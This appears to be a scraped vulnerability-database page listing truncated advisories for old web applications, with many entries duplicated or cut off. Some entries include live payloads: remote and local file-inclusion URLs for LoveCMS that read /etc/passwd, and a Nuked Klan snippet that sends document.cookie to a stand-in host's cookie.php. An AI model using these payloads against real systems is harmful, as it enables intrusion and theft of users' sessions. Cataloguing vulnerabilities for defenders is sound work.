CVE-2006-7194

PHP remote file inclusion vulnerability in modules/Mysqlfinder/MysqlfinderAdmin.php in Agora 1.4 RC1, when registerglobals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the SESSIONPATHCOMPOSANT parameter...

Asterisk SIP通道驱动应答零代码远程拒绝服务漏洞

Asterisk是一个开放源代码的软件VoIP PBX系统。 Asterisk处理包含code 0的应答消息存在问题，远程攻击者可以利用漏洞对应用程序进行拒绝服务攻击。 从远程系统接收到部分SIP应答如SIP Response code 0，可导致Asterisk崩溃，造成拒绝服务攻击。 Asterisk Asterisk 1.4.1 Asterisk Asterisk 1.2.16 Asterisk Asterisk 1.2.15 Asterisk Asterisk 1.2.14 Asterisk Asterisk 1.2.13 Asterisk Asterisk 1.2.11...

Default configuration

The default configuration in OpenAFS 1.4.x before 1.4.4 and 1.5.x before 1.5.17 supports setuid programs within the local cell, which might allow attackers to gain privileges by spoofing a response to an AFS cache manager FetchStatus request, and setting setuid and root ownership for files in the...

HC Newssystem 1.0-1.4 - index.php?ID SQL Injection

HC Newssystem 1.0-1.4 - index.php?ID SQL Injection HC NEWSSYSTEM 1.0-4 index.php "ID" Blind SQL Injection Type : SQL Injection Release Date : 2007-03-08 Product / Vendor : HC Design News Publisher. http://www.hcdesign.at/demo Bug : http://localhost/script/index.php?option=news&aktion=komm&ID=-SQL...

HC Newssystem 1.0-1.4 - 'index.php?ID' SQL Injection

HC NEWSSYSTEM 1.0-4 index.php "ID" Blind SQL Injection Type : SQL Injection Release Date : 2007-03-08 Product / Vendor : HC Design News Publisher. http://www.hcdesign.at/demo Bug : http://localhost/script/index.php?option=news&aktion=komm&ID=-SQL Inj.- SQL Inj Code : Admin Username/Password Query...

Cross site scripting

Cross-site scripting XSS vulnerability in LoveCMS 1.4 allows remote attackers to inject arbitrary web script or HTML via the id parameter to the top-level URI, possibly related to a SQL error...

CVE-2007-1148

PHP remote file inclusion vulnerability in install/index.php in LoveCMS 1.4 allows remote attackers to execute arbitrary PHP code via a URL in the step parameter...

CVE-2007-1150

Unrestricted file upload vulnerability in LoveCMS 1.4 allows remote authenticated administrators to upload arbitrary files to /modules/content/pictures/tmp/...

CVE-2007-1148

PHP remote file inclusion vulnerability in install/index.php in LoveCMS 1.4 allows remote attackers to execute arbitrary PHP code via a URL in the step parameter...

LoveCMS 1.4 multiple vulnerabilities

rfi: /lovecms/install/index.php?step=http://site.com/boum.txt? lfi: /lovecms/install/index.php?step=/etc/passwd00 /lovecms/?load=../../../../../../../../../../etc/passwd00 admin upload vuln : upload any kind of file even if it's not accepted it will be stored here : /modules/content/pictures/tmp/...

BtitTracker 1.4 XSS

BtitTracker 1.4 xss Some fields are not sanitized for bad chars or words like javascript. =email field= When new user is registered you can put whatever you want and after that when still in mode "validating" you can change your email to something like "plaintext the field is 30 chars long so it ...

CVE-2007-0306

SQL injection vulnerability in visuuser.asp in Digiappz DigiAffiliate 1.4 and earlier allows remote attackers to execute arbitrary SQL commands via the id parameter...

Sql injection

Multiple SQL injection vulnerabilities in displayreview.php in iGeneric iG Shop 1.4 and earlier allow remote attackers to execute arbitrary SQL commands via the 1 id or 2 userlogincookie parameter...

CVE-2007-0132

SQL injection vulnerability in compareproduct.php in iGeneric iG Shop 1.4 allows remote attackers to execute arbitrary SQL commands via the id parameter...

CVE-2007-0132

The CVE-2007-0132 entry concerns a SQL injection in the iGeneric iG Shop 1.4 application, specifically in compare_product.php. The underlying flaw allows an attacker to manipulate the id parameter to execute arbitrary SQL commands on the backend database. Affected component is the compare_product...

CVE-2007-0133

The CVE-2007-0133 entry describes multiple SQL injection vulnerabilities in display_review.php for iGeneric iG Shop

Nuked Klan任意.SWF文件COOKIE窃取漏洞

Nuked Klan是一款基于ASP的WEB应用程序。 Nuked Klan处理.swf文件存在问题，远程攻击者可以利用漏洞获取其他目标用户的敏感COOKIE信息。 构建一个.swf文件，放置如下代码： getURL"javascript:alert'document.location="http://site.com/cookie.php? cookie="+document.cookie';"; 或者 ?php $cookie = $GET'cookie'; $ip = getenv 'REMOTEADDR'; $date=date"m/d/Y g:i:s a";...

GNU Radius: Format string vulnerability

Background GNU Radius is a GNU version of Radius, a server for remote user authentication and accounting. Description A format string vulnerability was found in the sqllog function from the SQL accounting code for radiusd. That function is only used if one or more of the "postgresql", "mysql" or...

CVE-2006-6225

Multiple PHP remote file inclusion vulnerabilities in GeekLog 1.4 allow remote attackers to execute arbitrary code via a URL in the CONFpath parameter to 1 links/functions.inc, 2 polls/functions.inc, 3 spamx/BlackList.Examine.class.php, 4 spamx/DeleteComment.Action.class.php, 5...

CVE-2006-6225

Multiple PHP remote file inclusion vulnerabilities in GeekLog 1.4 allow remote attackers to execute arbitrary code via a URL in the CONFpath parameter to 1 links/functions.inc, 2 polls/functions.inc, 3 spamx/BlackList.Examine.class.php, 4 spamx/DeleteComment.Action.class.php, 5...